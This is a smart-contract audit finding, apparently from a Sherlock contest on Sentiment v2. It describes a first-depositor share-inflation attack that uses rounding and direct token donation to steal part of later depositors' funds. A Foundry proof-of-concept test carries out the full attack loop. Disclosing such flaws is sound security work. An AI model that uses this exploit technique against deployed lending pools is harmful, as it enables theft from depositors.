rounding error due to internal accounting and can steal some portion of the first depositors funds

Summary

Vulnerability Detail

where: All basepool
when: Total Supply of a pool is zero
When total supply of pool is zero an attacker goes ahead and executes the following steps

mint some asset and deposit some collateral sufficient to borrow those assets.
Borrow a few of those assets and wait for a few block. In 100 second when at least more than 1wei interest has occurred, repay all the borrowed funds.
to match this condition attacker will directly transfer some funds because total balance is calculate like using balanceof(Address(this))
after this withdraw all but 2 wei of shares. to makes it so that the totalDepositShares = 1 and totalDepositAssets = 2 due to rounding.
- Now attacker takes advantage of rounding down when depositing to inflate the price of a share.

In a loop attacker does the following till they get their desired price of 1 share

deposit totalDeposits + 1 assets and withdraw 1 shares
- according to convertToShares = assets.mulDiv(totalShares, totalAssets, rounding);
- it mints shares = (amount * total.shares) / total.amount of shares.
- Since the attacker has deposited totalDeposits + 1 assets and totalDepositShares is 1, shares = (totalDeposits + 1 * 1) / totalDeposits = 1
- This should have been 1.9999... but due to rounding down, the attacker gets minted 1 shares is minted
- and attacker withdrew in the same 1 wei transactions .
- This means at this point totalDepositShares = 1+1 (minted shares )- 1 (withdrew amount )= 1 and totalDeposits = totalDeposits + totalDeposits + 1
- In this loop the supply stays at 1 and totalDeposits increase exponentially. Take a look at the POC to get a better idea.

So when a user comes to the deposit get some shares but they lose of assets which get proportionally divided between existing share holders (including the attacker) due to rounding errors.

users keep losing up to 33% of their assets. (see here)
This means that for users to not lose value, they have to make sure that they have to deposit exact proportion of the attacker shares is an integer.

Impact

Loss of 33% of all pool 1st depositor funds

Code Snippet

function testInternalDepoisitBug(uint96 assets) public {
        vm.assume(assets > 0);

        // address notPositionManager = makeAddr("notPositionManager");

        vm.startPrank(user);

        asset1.mint(user, 50_000 ether);
        asset1.approve(address(pool), 50_000 ether);

        pool.deposit(linearRatePool, 1 ether, user);

        vm.startPrank(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY));
        asset1.mint(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY), 50_000 ether);
        console2.log("balance",asset1.balanceOf(registry.addressFor(SENTIMENT_POSITION_MANAGER_KEY)));
        pool.borrow(linearRatePool, user, 1e16 );

        vm.warp(block.timestamp + 10 seconds);
        vm.roll(block.number + 100);

        uint256 borrowed = pool.getBorrowsOf(linearRatePool, user);
        pool.repay(linearRatePool,user, borrowed);

        vm.startPrank(user);
        uint256 asset_to_withdraw = pool.getAssetsOf(linearRatePool, user);

        // able to transfer because the withdraw function is calculating the total balance using the balanceOf(address(this))
        asset1.transfer(address(pool), 10000003000000001);
        asset1.transfer(address(pool), 200496896);

        pool.withdraw(linearRatePool, asset_to_withdraw-2, user, user);
        (,,,,,,,,,uint256 totalDepositAssets,uint256 totalDepositShares) = pool.poolDataFor(linearRatePool);

        for(uint8 i = 1; i < 75; i++){
            console2.log("loop", 2**i+1);
            pool.deposit(linearRatePool, 2**i+1 , user);
            // recived shares must be 1 share

            pool.withdraw(linearRatePool,1,user,user);
            (,,,,,,,,, totalDepositAssets, totalDepositShares) = pool.poolDataFor(linearRatePool);

            require(totalDepositShares == 1, "sharesReceived is not one as expected");

        }
        uint256 attackerTotalDepositAssets = totalDepositAssets;
        uint256 attackerDepositShares = totalDepositShares;
        vm.stopPrank();
        vm.startPrank(user2);
        (,,,,,,,,, totalDepositAssets, totalDepositShares) = pool.poolDataFor(linearRatePool);
        uint256 User2DepositAmount  = 2 * totalDepositAssets;
        asset1.mint(user2, User2DepositAmount -10);
        asset1.approve(address(pool), User2DepositAmount );
        pool.deposit(linearRatePool, User2DepositAmount -10, user2);

        (,,,,,,,,, totalDepositAssets, totalDepositShares) = pool.poolDataFor(linearRatePool);
        uint256 userTotalDepositAssets = User2DepositAmount -10;
        uint256 userDepositShares = totalDepositShares - attackerDepositShares;
        require(totalDepositShares == 2, "sharesReceived is not zero as expected");

        //NOTE: Here user1/attacker depsosited very less amount than the user2 
        console2.log("-----Here user1/attacker depsosited very less amount than the user2 ------");
        console2.log("attackerTotalDepositAssets",attackerTotalDepositAssets);
        console2.log("userTotalDepositAssets",userTotalDepositAssets);

        assertLt(attackerTotalDepositAssets,userTotalDepositAssets, "user2 deposited is not big amount than the user1" );

        //NOTE: Here Both shares are the same and it's 1
        console2.log("------Here Both shares are the same and it's 1------");
        console2.log("attackerDepositShares",attackerTotalDepositAssets);
        console2.log("userDepositShares",userTotalDepositAssets);

        require(userDepositShares == attackerDepositShares, "sharesReceived is not same as expected");

    }

Recommendation

I like how BalancerV2 and UniswapV2 do it

sherlock-audit / 2024-08-sentiment-v2-judging